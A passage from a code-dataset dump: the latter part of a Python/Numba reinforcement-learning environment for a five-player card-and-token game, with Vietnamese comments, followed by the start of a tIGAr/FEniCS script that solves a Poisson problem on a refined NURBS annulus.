NUMBER_UPGRADE_CARD + 1] == 1:\n            if np.sum(player_token[:3] > 0) != 0:\n                list_action_return[56] = 1\n\n    elif phase_env == 2:\n        # nếu mua thẻ top và cần bỏ token, chọn token để vào các thẻ trước thẻ mình mua (4 action)\n        list_action = np.where(player_token > 0)[0] + FIRST_ACTION_DROP_TOKEN\n        list_action_return[list_action] = 1\n\n    elif phase_env == 3:\n        # nếu đánh thẻ, chọn xem có thực hiện action của thẻ tiếp ko (2action, 1 cái là ko, 1 cái trùng vs action dùng thẻ)\n        list_action_return[61] = 1\n        list_action_return[\n            FIRST_ACTION_USE_ACTION_CARD : FIRST_ACTION_USE_ACTION_CARD\n            + NUMBER_ACTION_CARD\n        ] = (player_state[P_LAST_ACTION : P_LAST_ACTION + NUMBER_ACTION_CARD] == 1) * 1\n\n    elif phase_env == 4:\n        # trả token dư thừa (4 action) sau khi đánh thẻ hoặc mua thẻ top\n        list_action = np.where(player_token > 0)[0] + FIRST_ACTION_DROP_TOKEN\n        list_action_return[list_action] = 1\n\n    elif phase_env == 5:\n        # chọn token để nâng cấp\n        list_action = np.where(player_token[:3] > 0)[0] + FIRST_ACTION_UPGRADE_TOKEN\n        list_action_return[list_action] = 1\n\n    return list_action_return\n\n\n@njit()\ndef getReward(player_state):\n    value_return = -1\n    end_true = 0\n    # kiểm tra xem game kết thúc thật hay loop quá giới hạn\n    if player_state[P_PLAYER_NUMBER_POINT_CARD] == 5:\n        end_true = 1\n    else:\n        for id in range(NUMBER_PLAYER - 1):\n            if (\n                player_state[P_OTHER_PLAYER_IN4:][\n                    id * BASIC_ATTRIBUTE_PLAYER : (id + 1) * BASIC_ATTRIBUTE_PLAYER\n                ][1]\n                == 5\n            ):\n                end_true = 1\n                break\n\n    if player_state[P_CHECK_END] != 1:\n        return value_return\n    else:\n        if end_true == 0:  # nếu loop quá lâu thì auto thua\n            return 0\n        else:\n            # all_player_point = np.zeros(NUMBER_PLAYER)\n            all_player_point = player_state[P_ORDER : P_ORDER + NUMBER_PLAYER].copy()\n            for id_player in range(5):\n                player_in4 = np.zeros(BASIC_ATTRIBUTE_PLAYER)\n                if id_player == 0:\n                    player_in4 = player_state[:BASIC_ATTRIBUTE_PLAYER]\n                else:\n                    player_in4 = player_state[\n                        P_OTHER_PLAYER_IN4\n                        + (id_player - 1) * BASIC_ATTRIBUTE_PLAYER : P_OTHER_PLAYER_IN4\n                        + id_player * BASIC_ATTRIBUTE_PLAYER\n                    ]\n\n                player_point = player_in4[0] + np.sum(player_in4[3:6]) * 10\n                all_player_point[id_player] += player_point\n            if np.argmax(all_player_point) == 0:\n                return 1\n            else:\n                return 0\n\n\n@njit()\ndef check_winner(env_state):\n    winner = -1\n    end = 0\n    for id_player in range(5):\n        player_number_card_point = env_state[ATTRIBUTE_PLAYER * id_player + 1]\n        if player_number_card_point == 5:\n            end = 1\n            break\n    if end == 1:\n        # all_player_point = np.zeros(NUMBER_PLAYER)\n        all_player_point = env_state[\n            ENV_ORDER_PLAYER : ENV_ORDER_PLAYER + NUMBER_PLAYER\n        ].copy()\n        for id_player in range(5):\n            player_in4 = env_state[\n                ATTRIBUTE_PLAYER * id_player : ATTRIBUTE_PLAYER * (id_player + 1)\n            ]\n            player_point = player_in4[0] + np.sum(player_in4[3:6]) * 10\n            # all_player_point[id_player] = player_point\n            all_player_point[id_player] += player_point\n        winner = np.argmax(all_player_point)\n        return winner\n    else:\n        # print('một ván ko kết thúc')\n        return winner\n\n\n@njit()\ndef system_check_end(env_state):\n    for id_player in range(5):\n        if (\n            env_state[\n                ATTRIBUTE_PLAYER * id_player : ATTRIBUTE_PLAYER * (id_player + 1)\n            ][1]\n            == 5\n            and env_state[ENV_ID_ACTION] == 0\n        ):\n            return False\n    return True\n\n\n@njit()\ndef stepEnv(env_state, action):\n    phase_env = int(env_state[ENV_PHASE])\n    id_action = int(env_state[ENV_ID_ACTION])\n    player_in4 = env_state[\n        ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n    ]\n    if phase_env == 1:\n        # nếu người chơi nghỉ\n        if action == 0:\n            card_hand_player = player_in4[BASIC_ATTRIBUTE_PLAYER:ATTRIBUTE_PLAYER]\n            card_hand_player = np.where(card_hand_player == -1, 1, card_hand_player)\n            player_in4[BASIC_ATTRIBUTE_PLAYER:ATTRIBUTE_PLAYER] = card_hand_player\n            env_state[\n                ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n            ] = player_in4\n            env_state[ENV_PHASE] = 1\n            env_state[ENV_ID_ACTION] = (env_state[ENV_ID_ACTION] + 1) % 5\n        # nếu người chơi mua thẻ trên bàn\n        elif action in range(1, 7):\n            if action == 1:  # nếu mua thẻ đầu\n                # lấy thông tin\n                list_card_player = player_in4[BASIC_ATTRIBUTE_PLAYER:ATTRIBUTE_PLAYER]\n                list_card_board = env_state[ENV_DOWN_ACTION_CARD:ENV_DOWN_POINT_CARD]\n                idx_card_buy = action - 1\n                card_buy = int(list_card_board[idx_card_buy])\n                all_token_free = env_state[ENV_TOKEN_ON_ACTION_CARD:ENV_OPEN_POINT_CARD]\n                token_free = all_token_free[\n                    NUMBBER_TYPE_TOKEN\n                    * idx_card_buy : NUMBBER_TYPE_TOKEN\n                    * (idx_card_buy + 1)\n                ]\n                all_token_free = np.concatenate(\n                    (all_token_free[NUMBBER_TYPE_TOKEN:], np.zeros(4))\n                )\n                # cập nhật giá trị\n                list_card_player[card_buy] = 1\n                list_card_board[idx_card_buy:] = np.append(\n                    list_card_board[idx_card_buy + 1 :], -1\n                )\n                top_6_card = np.zeros((NUMBER_OPEN_ACTION_CARD, LENGTH_ACTION_CARD))\n                for i in range(6):\n                    id = list_card_board[:6][i]\n                    top_6_card[i] = ALL_CARD_IN4[int(id)]\n                top_6_card = top_6_card.flatten()\n                player_in4[\n                    BASIC_ATTRIBUTE_PLAYER:\n                ] = list_card_player  # cập nhật thẻ mới mua\n                player_in4[2:6] += token_free  # cập nhật token free nếu có\n                env_state[\n                    ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n                ] = player_in4\n                env_state[\n                    ENV_DOWN_ACTION_CARD:ENV_DOWN_POINT_CARD\n                ] = list_card_board  # cập nhật danh sách thẻ trên bàn\n                env_state[\n                    ENV_OPEN_ACTION_CARD:ENV_TOKEN_ON_ACTION_CARD\n                ] = top_6_card  # cập nhật 6 thẻ người chơi có thể mua\n                env_state[\n                    ENV_TOKEN_ON_ACTION_CARD:ENV_OPEN_POINT_CARD\n                ] = all_token_free  # cập nhật giảm token free\n                # kiểm tra có phải trả tài nguyên ko\n                if np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) > 10:\n                    env_state[ENV_TOKEN_NEED_DROP] = (\n                        np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) - 10\n                    )\n                    env_state[ENV_PHASE] = 4\n                else:\n                    # chuyển người chơi\n                    env_state[ENV_PHASE] = 1\n                    env_state[ENV_ID_ACTION] = (\n                        env_state[ENV_ID_ACTION] + 1\n                    ) % NUMBER_PLAYER\n\n            else:  # nếu mua thẻ cần đặt token\n                # lấy thông tin\n                idx_card_buy = action - 1\n                # đẩy thông tin vào hệ thống, thông tin là index thẻ mua và số token cần đặt\n                env_state[ENV_TOKEN_NEED_DROP] = idx_card_buy\n                env_state[ENV_CARD_BUY_OR_USE] = idx_card_buy\n                # chuyển phase\n                env_state[ENV_PHASE] = 2\n\n        elif action in range(7, 12):\n            # lấy thông tin\n            list_card_point_board = env_state[\n                ENV_DOWN_POINT_CARD : ENV_DOWN_POINT_CARD + NUMBER_POINT_CARD\n            ]\n            idx_card_buy = action - 7\n            card_buy = int(list_card_point_board[idx_card_buy])\n            token_fee = ALL_CARD_POINT_IN4[card_buy][:4]\n            free_score = 0\n            if idx_card_buy < 2:\n                if idx_card_buy == 0:\n                    if env_state[ENV_GOLD_COIN] != 0:\n                        free_score = FREE_SCORE_GOLD\n                        env_state[ENV_GOLD_COIN] -= 1\n                    else:\n                        if env_state[ENV_SILVER_COIN] != 0:\n                            free_score = FREE_SCORE_SILVER\n                            env_state[ENV_SILVER_COIN] -= 1\n                else:\n                    if (\n                        env_state[ENV_SILVER_COIN] != 0\n                        and env_state[ENV_GOLD_COIN] != 0\n                    ):\n                        free_score = FREE_SCORE_SILVER\n                        env_state[ENV_SILVER_COIN] -= 1\n            # Cập nhật giá trị\n            player_in4[0] += free_score + ALL_CARD_POINT_IN4[card_buy][-1]\n            player_in4[1] += 1\n            player_in4[2:BASIC_ATTRIBUTE_PLAYER] -= token_fee\n            list_card_point_board[idx_card_buy:] = np.append(\n                list_card_point_board[idx_card_buy + 1 :], -1\n            )\n            top_5_card_point = np.zeros((NUMBER_OPEN_POINT_CARD, ATTRIBUTE_POINT_CARD))\n            for i in range(NUMBER_OPEN_POINT_CARD):\n                id = list_card_point_board[:5][i]\n                top_5_card_point[i] = ALL_CARD_POINT_IN4[int(id)]\n            top_5_card_point = top_5_card_point.flatten()\n\n            env_state[\n                ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n            ] = player_in4\n            env_state[\n                ENV_DOWN_POINT_CARD : ENV_DOWN_POINT_CARD + NUMBER_POINT_CARD\n            ] = list_card_point_board\n            env_state[\n                ENV_OPEN_POINT_CARD : ENV_OPEN_POINT_CARD\n                + NUMBER_OPEN_POINT_CARD * ATTRIBUTE_POINT_CARD\n            ] = top_5_card_point\n            # Chuyển người chơi\n            env_state[ENV_PHASE] = 1\n            env_state[ENV_ID_ACTION] = (env_state[ENV_ID_ACTION] + 1) % NUMBER_PLAYER\n\n        elif action in range(12, 57):\n            # lấy thông tin\n            card_hand_player = player_in4[BASIC_ATTRIBUTE_PLAYER:ATTRIBUTE_PLAYER]\n            id_card_use = action - 12\n            token_fee_get = ALL_CARD_IN4[id_card_use][:ATTRIBUTE_ACTION_CARD]\n            card_hand_player[id_card_use] = -1\n\n            if np.sum(token_fee_get) == 0:  # nếu là thẻ nâng cấp\n                player_in4[BASIC_ATTRIBUTE_PLAYER:ATTRIBUTE_PLAYER] = card_hand_player\n                env_state[\n                    ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n                ] = player_in4\n                env_state[ENV_NUMBER_ACTION_UPGRADE] = ALL_CARD_IN4[id_card_use][-1]\n                env_state[ENV_PHASE] = 5\n            else:\n                # Cập nhật giá trị\n                player_in4[2:BASIC_ATTRIBUTE_PLAYER] = (\n                    player_in4[2:BASIC_ATTRIBUTE_PLAYER]\n                    - token_fee_get[:4]\n                    + token_fee_get[4:]\n                )\n                player_in4[6:51] = card_hand_player\n                env_state[\n                    ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n                ] = player_in4\n                # nếu thẻ được dùng nhiều lần\n                if (\n                    np.sum(token_fee_get[:4]) > 0\n                    and np.sum(token_fee_get[:4] > player_in4[2:6]) == 0\n                ):\n                    env_state[\n                        ENV_CARD_BUY_OR_USE\n                    ] = id_card_use  # lưu trữ thẻ dùng gần nhất\n                    env_state[\n                        ENV_LAST_ACTION\n                    ] = id_card_use  # lưu trữ action_main gần nhất\n                    env_state[ENV_PHASE] = 3  # chuyển phase\n                else:  # dùng 1 lần rồi bỏ\n                    if (\n                        np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) > 10\n                    ):  # nếu thừa nguyên liệu thì đi lược bỏ\n                        env_state[ENV_TOKEN_NEED_DROP] = (\n                            np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) - 10\n                        )\n                        env_state[ENV_PHASE] = 4\n                    else:\n                        env_state[ENV_PHASE] = 1\n                        env_state[ENV_ID_ACTION] = (\n                            env_state[ENV_ID_ACTION] + 1\n                        ) % NUMBER_PLAYER\n\n    elif phase_env == 2:\n        # lấy thông tin\n        stay_drop = int(env_state[ENV_TOKEN_NEED_DROP]) - 1\n        all_token_free = env_state[ENV_TOKEN_ON_ACTION_CARD:ENV_OPEN_POINT_CARD]\n        token_drop = action - 57\n        # Cập nhật thông tin\n        player_in4[2:BASIC_ATTRIBUTE_PLAYER][token_drop] -= 1\n        all_token_free[4 * stay_drop + token_drop] += 1\n        env_state[ENV_TOKEN_NEED_DROP] -= 1\n\n        if env_state[ENV_TOKEN_NEED_DROP] == 0:  # Hoàn tất đặt nguyên liệu thì lấy thẻ\n            # lấy thông tin\n            list_card_player = player_in4[BASIC_ATTRIBUTE_PLAYER:]\n            list_card_board = env_state[ENV_DOWN_ACTION_CARD:ENV_DOWN_POINT_CARD]\n            idx_card_buy = int(env_state[ENV_CARD_BUY_OR_USE])\n            card_buy = int(list_card_board[idx_card_buy])\n            token_free = np.zeros(NUMBBER_TYPE_TOKEN)\n            if idx_card_buy != 5:\n                token_free = all_token_free[\n                    NUMBBER_TYPE_TOKEN\n                    * idx_card_buy : NUMBBER_TYPE_TOKEN\n                    * (idx_card_buy + 1)\n                ]\n                all_token_free = np.concatenate(\n                    (\n                        all_token_free[: NUMBBER_TYPE_TOKEN * idx_card_buy],\n                        all_token_free[NUMBBER_TYPE_TOKEN * (idx_card_buy + 1) :],\n                        np.zeros(NUMBBER_TYPE_TOKEN),\n                    )\n                )  # cập nhật giảm token free\n            # cập nhật giá trị\n            list_card_player[card_buy] = 1\n            list_card_board[idx_card_buy:] = np.append(\n                list_card_board[idx_card_buy + 1 :], -1\n            )\n            # top_6_card = card_in4[np.array(list_card_board[:6], dtype = int)].flatten()\n            top_6_card = np.zeros((NUMBER_OPEN_ACTION_CARD, LENGTH_ACTION_CARD))\n            for i in range(6):\n                id = list_card_board[:6][i]\n                top_6_card[i] = ALL_CARD_IN4[int(id)]\n\n            # top_6_card = np.array([card_in4[int(id)] for id in list_card_board[:6]]).flatten()\n            top_6_card = top_6_card.flatten()\n            player_in4[\n                BASIC_ATTRIBUTE_PLAYER:\n            ] = list_card_player  # cập nhật thẻ mới mua\n            player_in4[2:BASIC_ATTRIBUTE_PLAYER] = (\n                player_in4[2:BASIC_ATTRIBUTE_PLAYER] + token_free\n            )  # cập nhật token free nếu có\n            env_state[\n                ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n            ] = player_in4\n            env_state[\n                ENV_TOKEN_ON_ACTION_CARD:ENV_OPEN_POINT_CARD\n            ] = all_token_free  # cập nhật token free\n            env_state[\n                ENV_DOWN_ACTION_CARD:ENV_DOWN_POINT_CARD\n            ] = list_card_board  # cập nhật danh sách thẻ trên bàn\n            env_state[\n                ENV_OPEN_ACTION_CARD:ENV_TOKEN_ON_ACTION_CARD\n            ] = top_6_card  # cập nhật 6 thẻ người chơi có thể mua\n            # Khôi phục các giá trị lưu trữ\n            env_state[ENV_CARD_BUY_OR_USE] = -0.5\n            # kiểm tra có phải trả tài nguyên ko\n            if np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) > 10:\n                env_state[ENV_TOKEN_NEED_DROP] = (\n                    np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) - 10\n                )\n                env_state[ENV_PHASE] = 4\n            else:\n                # chuyển người chơi\n                env_state[ENV_PHASE] = 1\n                env_state[ENV_ID_ACTION] = (\n                    env_state[ENV_ID_ACTION] + 1\n                ) % NUMBER_PLAYER\n        else:\n            env_state[\n                ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n            ] = player_in4\n            env_state[\n                ENV_TOKEN_ON_ACTION_CARD:ENV_OPEN_POINT_CARD\n            ] = all_token_free  # cập nhật token free\n\n    elif phase_env == 3:\n        if action == 61:  # nếu ko action tiếp\n            env_state[ENV_CARD_BUY_OR_USE] = -0.5  # lưu trữ thẻ dùng gần nhất\n            env_state[ENV_LAST_ACTION] = -1  # lưu trữ action_main gần nhất\n            if (\n                np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) > 10\n            ):  # nếu thừa nguyên liệu thì đi lược bỏ\n                env_state[ENV_TOKEN_NEED_DROP] = (\n                    np.sum(player_in4[2:BASIC_ATTRIBUTE_PLAYER]) - 10\n                )\n                env_state[ENV_PHASE] = 4\n            else:\n                env_state[ENV_PHASE] = 1\n                env_state[ENV_ID_ACTION] = (env_state[ENV_ID_ACTION] + 1) % 5\n        else:\n            # Lấy thông tin\n            id_card_use = int(env_state[ENV_CARD_BUY_OR_USE])\n            token_fee_get = ALL_CARD_IN4[id_card_use]\n            # Cập nhật thông tin\n            player_in4[2:BASIC_ATTRIBUTE_PLAYER] = (\n                player_in4[2:BASIC_ATTRIBUTE_PLAYER]\n                - token_fee_get[:NUMBBER_TYPE_TOKEN]\n                + token_fee_get[NUMBBER_TYPE_TOKEN:ATTRIBUTE_ACTION_CARD]\n            )\n            env_state[\n                ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n            ] = player_in4\n            if (\n                np.sum(\n                    token_fee_get[:NUMBBER_TYPE_TOKEN]\n                    > player_in4[2:BASIC_ATTRIBUTE_PLAYER]\n                )\n                == 0\n            ):\n                # env_state[-7] = id_card_use     #lưu trữ thẻ dùng gần nhất\n                # env_state[-3] = action          #lưu trữ action_main gần nhất\n                env_state[ENV_PHASE] = 3  # chuyển phase\n            else:\n                env_state[ENV_CARD_BUY_OR_USE] = -0.5\n                env_state[ENV_LAST_ACTION] = -1\n                if np.sum(player_in4[2:6]) > 10:  # nếu thừa nguyên liệu thì đi lược bỏ\n                    env_state[ENV_TOKEN_NEED_DROP] = np.sum(player_in4[2:6]) - 10\n                    env_state[ENV_PHASE] = 4\n                else:\n                    env_state[ENV_PHASE] = 1\n                    env_state[ENV_ID_ACTION] = (\n                        env_state[ENV_ID_ACTION] + 1\n                    ) % NUMBER_PLAYER\n\n    elif phase_env == 4:\n        # lấy thông tin\n        # stay_drop = env_state[-6]\n        token_drop = action - 57\n        # Cập nhật thông tin\n        player_in4[2:6][token_drop] -= 1\n        env_state[\n            ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n        ] = player_in4\n        env_state[ENV_TOKEN_NEED_DROP] -= 1\n        if env_state[ENV_TOKEN_NEED_DROP] == 0:\n            env_state[ENV_PHASE] = 1\n            env_state[ENV_ID_ACTION] = (env_state[ENV_ID_ACTION] + 1) % NUMBER_PLAYER\n        else:\n            return env_state\n\n    elif phase_env == 5:\n        id_update = action - 62\n        # if id_update == 3:\n        #     env_state[-8] = 0\n        #     env_state[-2] = 1\n        #     env_state[-1] = (env_state[-1] + 1)%5\n        # else:\n        player_in4[2:6][id_update] -= 1\n        player_in4[2:6][id_update + 1] += 1\n        env_state[\n            ATTRIBUTE_PLAYER * id_action : ATTRIBUTE_PLAYER * (id_action + 1)\n        ] = player_in4\n        env_state[ENV_NUMBER_ACTION_UPGRADE] -= 1\n        if (\n            env_state[ENV_NUMBER_ACTION_UPGRADE] == 0\n            or np.sum(player_in4[2:5] > 0) == 0\n        ):\n            env_state[ENV_PHASE] = 1\n            env_state[ENV_ID_ACTION] = (env_state[ENV_ID_ACTION] + 1) % NUMBER_PLAYER\n\n    return env_state\n\n\n@njit()\ndef bot_lv0(state, perData):\n    validActions = getValidActions(state)\n    arr_action = np.where(validActions == 1)[0]\n    idx = np.random.randint(0, arr_action.shape[0])\n    return arr_action[idx], perData\n\n\n@njit()\ndef one_game_numba(p0, list_other, per_player, per1, per2, per3, per4, p1, p2, p3, p4):\n    env_state = initEnv()\n    count_turn = 0\n    while system_check_end(env_state) and count_turn < 2000:\n        idx = int(env_state[ENV_ID_ACTION])\n        player_state = getAgentState(env_state)\n        if list_other[idx] == -1:\n            action, per_player = p0(player_state, per_player)\n            if getValidActions(player_state)[action] != 1:\n                raise Exception(\"bot dua ra action khong hop le\")\n\n        elif list_other[idx] == 1:\n            action, per1 = p1(player_state, per1)\n        elif list_other[idx] == 2:\n            action, per2 = p2(player_state, per2)\n        elif list_other[idx] == 3:\n            action, per3 = p3(player_state, per3)\n        elif list_other[idx] == 4:\n            action, per4 = p4(player_state, per4)\n        else:\n            raise Exception(\"Sai list_other.\")\n\n        env_state = stepEnv(env_state, action)\n        count_turn += 1\n\n    env_state[ENV_CHECK_END] = 1\n\n    for p_idx in range(5):\n        env_state[ENV_PHASE] = 1\n        idx = int(env_state[ENV_ID_ACTION])\n        player_state = getAgentState(env_state)\n        if list_other[idx] == -1:\n            action, per_player = p0(player_state, per_player)\n        elif list_other[idx] == 1:\n            action, per1 = p1(player_state, per1)\n        elif list_other[idx] == 2:\n            action, per2 = p2(player_state, per2)\n        elif list_other[idx] == 3:\n            action, per3 = p3(player_state, per3)\n        elif list_other[idx] == 4:\n            action, per4 = p4(player_state, per4)\n        else:\n            raise Exception(\"Sai list_other.\")\n        env_state[ENV_ID_ACTION] = (env_state[ENV_ID_ACTION] + 1) % NUMBER_PLAYER\n\n    winner = False\n    if np.where(list_other == -1)[0] == check_winner(env_state):\n        winner = True\n    else:\n        winner = False\n\n    return winner, per_player\n\n\n@njit()\ndef n_games_numba(\n    p0, num_game, per_player, list_other, per1, per2, per3, per4, p1, p2, p3, p4\n):\n    win = 0\n    for _n in range(num_game):\n        np.random.shuffle(list_other)\n        winner, per_player = one_game_numba(\n            p0, list_other, per_player, per1, per2, per3, per4, p1, p2, p3, p4\n        )\n        win += winner\n    return win, per_player\n\n\ndef one_game_normal(p0, list_other, per_player, per1, per2, per3, per4, p1, p2, p3, p4):\n    env_state = initEnv()\n    count_turn = 0\n    while system_check_end(env_state) and count_turn < 2000:\n        idx = int(env_state[ENV_ID_ACTION])\n        player_state = getAgentState(env_state)\n        if list_other[idx] == -1:\n            action, per_player = p0(player_state, per_player)\n            if getValidActions(player_state)[action] != 1:\n                raise Exception(\"bot dua ra action khong hop le\")\n\n        elif list_other[idx] == 1:\n            action, per1 = p1(player_state, per1)\n        elif list_other[idx] == 2:\n            action, per2 = p2(player_state, per2)\n        elif list_other[idx] == 3:\n            action, per3 = p3(player_state, per3)\n        elif list_other[idx] == 4:\n            action, per4 = p4(player_state, per4)\n        else:\n            raise Exception(\"Sai list_other.\")\n\n        env_state = stepEnv(env_state, action)\n        count_turn += 1\n\n    env_state[ENV_CHECK_END] = 1\n\n    for p_idx in range(5):\n        env_state[ENV_PHASE] = 1\n        idx = int(env_state[ENV_ID_ACTION])\n        player_state = getAgentState(env_state)\n        if list_other[idx] == -1:\n            action, per_player = p0(player_state, per_player)\n        elif list_other[idx] == 1:\n            action, per1 = p1(player_state, per1)\n        elif list_other[idx] == 2:\n            action, per2 = p2(player_state, per2)\n        elif list_other[idx] == 3:\n            action, per3 = p3(player_state, per3)\n        elif list_other[idx] == 4:\n            action, per4 = p4(player_state, per4)\n        else:\n            raise Exception(\"Sai list_other.\")\n        env_state[ENV_ID_ACTION] = (env_state[ENV_ID_ACTION] + 1) % NUMBER_PLAYER\n\n    winner = False\n    if np.where(list_other == -1)[0] == check_winner(env_state):\n        winner = True\n    else:\n        winner = False\n\n    return winner, per_player\n\n\ndef n_games_normal(\n    p0, num_game, per_player, list_other, per1, per2, per3, per4, p1, p2, p3, p4\n):\n    win = 0\n    for _n in range(num_game):\n        np.random.shuffle(list_other)\n        winner, per_player = one_game_normal(\n            p0, list_other, per_player, per1, per2, per3, per4, p1, p2, p3, p4\n        )\n        win += winner\n    return win, per_player\n\n\nimport importlib.util\nimport json, sys\n\nimport importlib.util\nimport json, sys\n\ntry:\n    from env import SHORT_PATH\nexcept:\n    pass\n\n\ndef load_module_player(player):\n    spec = importlib.util.spec_from_file_location(\n        \"Agent_player\", f\"{SHORT_PATH}src/Agent/{player}/Agent_player.py\"\n    )\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[spec.name] = module\n    spec.loader.exec_module(module)\n    return module\n\n\n@njit()\ndef check_run_under_njit(agent, perData):\n    return True\n\n\ndef load_agent(level, *args):\n    num_bot = getAgentSize() - 1\n\n    if \"_level_\" not in globals():\n        global _level_\n        _level_ = level\n        init = True\n    else:\n        if _level_ != level:\n            _level_ = level\n            init = True\n        else:\n            init = False\n\n    if init:\n        global _list_per_level_\n        global _list_bot_level_\n        _list_per_level_ = []\n        _list_bot_level_ = []\n\n        if _level_ == 0:\n            _list_per_level_ = [\n                np.array([[0.0]], dtype=np.float64) for _ in range(num_bot)\n            ]\n            _list_bot_level_ = [bot_lv0 for _ in range(num_bot)]\n        else:\n            env_name = sys.argv[1]\n            if len(args) > 0:\n                dict_level = json.load(\n                    open(f\"{SHORT_PATH}src/Log/check_system_about_level.json\")\n                )\n            else:\n                dict_level = json.load(open(f\"{SHORT_PATH}src/Log/level_game.json\"))\n\n            if str(_level_) not in dict_level[env_name]:\n                raise Exception(\"Hiện tại không có level này\")\n\n            lst_agent_level = dict_level[env_name][str(level)][2]\n\n            for i in range(num_bot):\n                if level == -1:\n                    module_agent = load_module_player(\n                        lst_agent_level[i], game_name=env_name\n                    )\n                    _list_per_level_.append(module_agent.DataAgent())\n                else:\n                    data_agent_level = np.load(\n                        f\"{SHORT_PATH}src/Agent/{lst_agent_level[i]}/Data/{env_name}_{level}/Train.npy\",\n                        allow_pickle=True,\n                    )\n                    module_agent = load_module_player(lst_agent_level[i])\n                    _list_per_level_.append(\n                        module_agent.convert_to_test(data_agent_level)\n                    )\n                _list_bot_level_.append(module_agent.Test)\n\n    return _list_bot_level_, _list_per_level_\n\n\ndef run(\n    p0: any = bot_lv0,\n    num_game: int = 100,\n    per_player: np.ndarray = np.array([[0.0]]),\n    level: int = 0,\n    *args,\n):\n    num_bot = getAgentSize() - 1\n    list_other = np.array([-1] + [i + 1 for i in range(num_bot)])\n    try:\n        check_njit = check_run_under_njit(p0, per_player)\n    except:\n        check_njit = False\n\n    load_agent(level, *args)\n\n    if check_njit:\n        return n_games_numba(\n            p0,\n            num_game,\n            per_player,\n            list_other,\n            _list_per_level_[0],\n            _list_per_level_[1],\n            _list_per_level_[2],\n            _list_per_level_[3],\n            _list_bot_level_[0],\n            _list_bot_level_[1],\n            _list_bot_level_[2],\n            _list_bot_level_[3],\n        )\n    else:\n        return n_games_normal(\n            p0,\n            num_game,\n            per_player,\n            list_other,\n            _list_per_level_[0],\n            _list_per_level_[1],\n            _list_per_level_[2],\n            _list_per_level_[3],\n            _list_bot_level_[0],\n            _list_bot_level_[1],\n            _list_bot_level_[2],\n            _list_bot_level_[3],\n        )\n","repo_name":"ngoxuanphong/ENV","sub_path":"src/Base/Century/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":36653,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"}
+{"seq_id":"5804593839","text":"from tIGAr import *\nfrom tIGAr.NURBS import *\nfrom igakit.nurbs import NURBS as NURBS_ik\nfrom igakit.io import PetIGA\n#from igakit.plot import plt\nimport matplotlib.pyplot as plt\nimport math\n \nvKnots = [0.0,0.0,0.0,1.0,1.0,1.0]\nuKnots = [0.0,0.0,1.0,1.0]\n \ncpArray = array([[[1.0,0.0],[1.0,1.0],[0.0,1.0]],\n                    [[2.0,0.0],[2.0,2.0],[0.0,2.0]]])\n                    \nw = array([[[1.0],[sqrt(2)/2],[1.0]],[[1.0],[sqrt(2)/2],[1.0]]])\nikNURBS = NURBS_ik([uKnots,vKnots],cpArray)\nikNURBS.elevate(0,1)\nprint(ikNURBS.degree)\nprint(ikNURBS.knots)\n \nnumNewKnots = 1\nfor i in range(0,6):\n    numNewKnots *= 2\nh = 1.0/float(numNewKnots)\nnumNewKnots -= 1\nknotList = []\nfor i in range(0,numNewKnots):\n    knotList += [float(i+1)*h,]\nnewKnots = array(knotList)\nikNURBS.refine(0,newKnots)\nikNURBS.refine(1,newKnots)\n \nprint(ikNURBS.knots)\n#plt.figure()\n#plt.surface(ikNURBS)\n \n#plt.save('surf.png')\n \n \nif(mpirank==0):\n    PetIGA().write(\"out.dat\",ikNURBS)\nMPI.barrier(worldcomm)\n \nif(mpirank==0):\n    print(\"Generating extraction...\")\n    \nsplineMesh = NURBSControlMesh(\"out.dat\",useRect=True)\n \nsplineGenerator = EqualOrderSpline(1,splineMesh)\n \nfield = 0\nscalarSpline = splineGenerator.getScalarSpline(field)\nfor parametricDirection in [0,1]:\n    for side in [0,1]:\n        sideDofs = scalarSpline.getSideDofs(parametricDirection,side)\n        splineGenerator.addZeroDofs(field,sideDofs)\n \nQUAD_DEG = 4\n \nspline = ExtractedSpline(splineGenerator,QUAD_DEG)\n#plot(spline.mesh)\n#plt.savefig('mesh.png')\n#so funciona plotar pro mawtplotlib se tiver em useRect=true (triangular mesh), entao exportar pro paraview\n \nu = spline.rationalize(TrialFunction(spline.V))\nv = spline.rationalize(TestFunction(spline.V))\n \nx = spline.spatialCoordinates()\n#tem que ver se isso ta certo, mas a ideia é que u nas boundaries desaparecem (0) por causa das cc aplicadas la em cima, entao acho que isso ta ok ?\nsoln = sin(pi*x[0])*sin(pi*x[1])*(x[0]*x[0]+x[1]*x[1]-1)*(x[0]*x[0]+x[1]*x[1]-4)\nf = -spline.div(spline.grad(soln))\n \na = inner(spline.grad(u),spline.grad(v))*spline.dx\nL = inner(f,v)*spline.dx\n \nu_hom = Function(spline.V)\nspline.solveLinearVariationalProblem(a==L,u_hom)\n \n \n \nu_hom.rename(\"u\",\"u\")\nFile(\"results/u.pvd\") << u_hom\n \nnsd = 3\nfor i in range(0,nsd+1):\n    name = \"F\"+str(i)\n    spline.cpFuncs[i].rename(name,name)\n    File(\"results/\"+name+\"-file.pvd\") << spline.cpFuncs[i]\n \nL2_error = math.sqrt(assemble(((spline.rationalize(u_hom)-soln)**2)*spline.dx))\nL_error = 